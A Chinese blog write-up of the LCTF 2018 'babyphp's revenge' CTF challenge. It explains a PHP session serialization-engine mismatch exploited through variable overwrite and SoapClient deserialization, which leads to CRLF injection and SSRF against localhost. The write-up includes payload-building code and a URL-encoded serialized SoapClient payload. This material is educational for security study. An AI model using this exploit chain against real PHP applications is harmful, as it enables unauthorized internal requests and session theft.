Hu3sky's blog

LCTF-babyphp's revenge

Word count: 1,220 / Reading time: 5 min
2019/02/09 Share

LCTF-babyphp’s revenge

题目直接给出代码
index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>

flag.php

1
2
3
4
5
6
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}

此题利用了session反序列化和SSRF

本地测试

拿着代码在本地测试一下
1
1
文件解释
win下的目录是\tmp\tmp,文件名为sess_37re68hmo2t39dem52s87vkbk5,而37re68hmo2t39dem52s87vkbk5是生成的session,文件的内容为
name|s:6:"hu3sky"; name是键值s:6:"hu3sky";serialize("hu3sky")的结果。这里用到的存储引擎是php,也即是默认的存储引擎

回到题目

session反序列化存储机制

php是利用配置项session.save_handler来进行确定的,默认是以文件的方式存储
之前本地测试的就是默认的存储机制,这里介绍一下其他两个引擎

php_serialize引擎下

1
2
3
4
5
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = 'hu3sky';
var_dump($_SESSION);

此时生成的文件内容会是a:1:{s:4:"name";s:6:"hu3sky";}
a:1是使用php_serialize进行序列话都会加上

php_binary引擎下

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'hu3sky';
var_dump($_SESSION);

此时生成的内容
1
由于该模式是 键的长度的ASCII+键名+反序列化内容
而name长度是4,4对应的ASCII是EOT,所以这就是文件的内容

如何造成危害

造成危害主要是由于反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样
例如
$_SESSION['name'] = '|O:11:"PeopleClass":0:{}';
php_serialize进行存储的时候,存储为a:1:{s:4:"name";s:24:"|O:11:"PeopleClass":0:{}";}
在php引擎进行序列化的时候,php引擎会以|作为作为keyvalue的分隔符
于是a:1:{s:4:"name";s:24:"|就成了key,O:11:"PeopleClass":0:{}";}就成了value,再进行序列化的时候,就会将value部分进行序列化,最后就会得到PeopleClas这个类。

题目需要解决问题

本题用到的存储引擎为默认的php引擎,于是我们要造成漏洞,就需要将存储的引擎变为php_serialize,而序列化的引擎还是php,但是代码里并没有序列化的地方,所以我们需要构造
call_user_func($_GET[f],$_POST);想办法进行对b的变量覆盖,将b覆盖为unserialize,以便于最后call_user_func($b,$a);进行反序列化,但是反序列化还需要找到一个可以被我们利用的类,同时这里的$a是一个数组,不方便操作,于是这就是我们要解决的两个问题

变量覆盖通过extract函数进行解决
1

SOAP

该类是用来创建SOAP数据报文的,和WSDL接口进行交互
SOAP是连接在web服务和web客户端之间的接口。它采用http作为底层通讯协议,xml作为数据传送的格式,且为php内置类
1
重点放在__call__construct
先看到__construct,也就是
1
传入两个参数,第一个$wsdl参数,如果为NULL,就是非wsdl模式,如果是非wsdl模式,就会对第二个参数里的url进行远程请求
第二个参数数组$options,是soap请求的一些参数和属性

本地测试

SOAP扩展
首先需要在ini里打开
1
测试代码

1
2
3
4
<?php
$a = new SoapClient(null,array('location'=>'http://vps:12345','uri'=>'aaa','user_agent'=>"Hu3sky\r\n"."Cookie:aaa"));
$a->test(); //调用不存在的方法,触发__call
?>

该类还会造成CRLF
1
于是,利用该类进行反序列化,就能对内网进行请求,够造成SSRF

利用过程

大致思路

总结一下这道题的大致思路
首先第一次利用变量覆盖,将serialize_handler设置为php_serialize,这样就能修改存储的引擎,此时传入我们构造的序列化的内容,保存成文件,把flag的内容带入session文件中
第二次利用变量覆盖,将b设置为call_user_func,php自动进行默认的反序列化,这时,就会去调用soapclient类中不存在的方法welcome_to_the_lctf2018 ,就会去调用Soapclient的__call,从而触发ssrf

实现过程

本地构造代码

1
2
3
4
5
<?php
$target = 'http://127.0.0.1/flag.php';
$attack = new SoapClient(null,array('location'=>$target,'user_agent'=>"glary\r\nCookie: PHPSESSID=9uh1i2rhbr172uemrkd27kn6p4\r\n",'uri'=>'123'));
$payload = urlencode(serialize($attack));
echo $payload;

session9uh1i2rhbr172uemrkd27kn6p4,这里需要带上session,才会把$_SESSION['flag']保存进session文件里

生成反序列化的内容

1
2

O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A34%3A%22http%3A%2F%2F127.0.0.1%2Fctf%2Fsoap%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A53%3A%22glary%0D%0ACookie%3A+PHPSESSID%3Dop35cbd9h92f9cbt2r3antcpg0%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

记得要在前面加上|
1

接着

1

然后带着写入文件的session,就能var_dump

CATALOG
  1. 1. LCTF-babyphp’s revenge
    1. 1.1. 本地测试
    2. 1.2. 回到题目
      1. 1.2.1. session反序列化存储机制
      2. 1.2.2. 如何造成危害
      3. 1.2.3. 题目需要解决问题
      4. 1.2.4. SOAP
      5. 1.2.5. 本地测试
    3. 1.3. 利用过程
      1. 1.3.1. 大致思路
      2. 1.3.2. 实现过程